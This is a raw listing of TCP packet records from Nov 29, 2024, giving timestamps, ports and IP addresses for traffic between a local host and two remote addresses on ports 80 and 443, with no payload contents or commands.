Nov 29, 2024 20:07:58.075136900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.075263977 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.075287104 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.076021910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.076214075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.076245070 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.077027082 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.077188015 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.077218056 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.077718019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.077791929 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.077815056 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.078402042 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.078596115 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.078674078 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.079485893 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.079510927 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.079616070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.080316067 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.080339909 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.080389977 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.082340002 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.146920919 CET	443	50092	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:58.147015095 CET	50092	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:58.149817944 CET	50092	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:58.149847984 CET	443	50092	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:58.150089979 CET	443	50092	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:58.156295061 CET	50092	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:58.156780958 CET	50092	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:58.156826973 CET	443	50092	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:58.214565992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.214652061 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.214723110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.214807034 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.214934111 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.215013027 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.215056896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.215111971 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.215821981 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.215926886 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.215951920 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.216041088 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.216553926 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.216645956 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.249043941 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.249094963 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.249234915 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.249355078 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.249417067 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.249447107 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.249752045 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.250211000 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.250274897 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.250340939 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.250391960 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.251095057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.251239061 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.251267910 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.251476049 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.251924992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.251976013 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.252068996 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.252127886 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.252774000 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.252877951 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.252902985 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.253123045 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.253670931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.253730059 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.253971100 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.254050016 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.254592896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.254710913 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.254792929 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.255414009 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.255470991 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.255486012 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.255553007 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.256237030 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.256314993 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.256345034 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.256406069 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.257155895 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.257283926 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.257338047 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.257972956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.258017063 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.258058071 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.258203983 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.258879900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.258968115 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.258991957 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.259061098 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.259701014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.259752035 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.259810925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.259931087 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.260721922 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.260775089 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.260802984 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.261135101 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.261404037 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.261481047 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.261519909 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.261688948 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.262254953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.262304068 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.262352943 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.262984991 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.263149023 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.263308048 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.263334036 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.263413906 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.263993979 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.264121056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.264245033 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.264873981 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.264944077 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.264966011 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.265041113 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.265702009 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.265810966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.265836000 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.266089916 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.266580105 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.266663074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.266690969 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.267473936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.267502069 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.267553091 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.267740011 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.268313885 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.268383980 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.268435001 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.268497944 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.269145966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.269211054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.269258022 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.270019054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.270096064 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.270126104 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.270338058 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.270911932 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.271017075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.271095991 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.271728992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.271847963 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.271876097 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.272583961 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.272697926 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.272726059 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.273005009 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.273493052 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.273623943 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.273777008 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.274374008 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.274487019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.274514914 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.274611950 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.275250912 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.275353909 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.275567055 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.275612116 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.276067019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.276200056 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.276226044 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.276427984 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.276905060 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.277031898 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.277064085 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.277667046 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.277786016 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.277826071 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.277853012 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.277883053 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.278616905 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.278799057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.278826952 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.279216051 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.279479027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.279596090 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.279694080 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.280327082 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.280462980 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.281233072 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.281264067 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.281335115 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.281411886 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.282113075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.282222033 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.282233953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.282289982 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.282927036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.283019066 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.283039093 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.283154011 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.283795118 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.283891916 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.284018993 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.284781933 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.284853935 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.285584927 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.285613060 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.285684109 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.285768032 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.285865068 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.286382914 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.286485910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.286505938 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.286556005 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.287280083 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.287435055 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.287570953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.287667990 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.288098097 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.288202047 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.288213968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.288340092 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.289021969 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.289150953 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.289179087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.289299965 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.289789915 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.289896965 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.290340900 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.290719986 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.290857077 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.291070938 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.424760103 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.424813032 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.424890995 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.424932003 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.425148964 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.425190926 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.425261974 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.425302982 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.426024914 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.426069975 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.426114082 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.426187038 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.426857948 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.426918983 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.459551096 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.459594965 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.459671974 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.459709883 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.459853888 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.459894896 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.460011005 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.460055113 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.460686922 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.460747004 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.460752010 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.460802078 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.461522102 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.461565018 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.461637974 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.461689949 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.462476015 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.462573051 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.462585926 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.462636948 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.463324070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.463363886 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.463510036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.463553905 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.464133024 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.464168072 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.464200020 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.464251041 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.464967966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.465032101 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.465071917 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.465117931 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.465795994 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.465842962 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.465920925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.466017962 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.466665983 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.466711998 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.466784000 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.466896057 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.467528105 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.467566967 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.467575073 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.467611074 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.468431950 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.468471050 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.468544006 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.468586922 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.469302893 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.469341993 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.469346046 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.469386101 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.470153093 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.470195055 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.470438004 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.470547915 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.470966101 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.471016884 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.471087933 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.471158028 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.471842051 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.471888065 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.471961021 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.472009897 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.472749949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.472790003 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.472910881 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.472953081 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.473661900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.473709106 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.473783016 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.473818064 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.474436045 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.474453926 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.474477053 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.474500895 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.475297928 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.475351095 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.475409031 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.475455046 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.476162910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.476219893 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.476248980 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.476285934 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.476991892 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.477039099 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.477123022 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.477165937 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.477860928 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.477925062 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.477955103 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.478056908 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.478741884 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.478784084 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.478945971 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.479016066 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.479590893 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.479661942 CET	50083	80	192.168.2.4	185.215.113.16
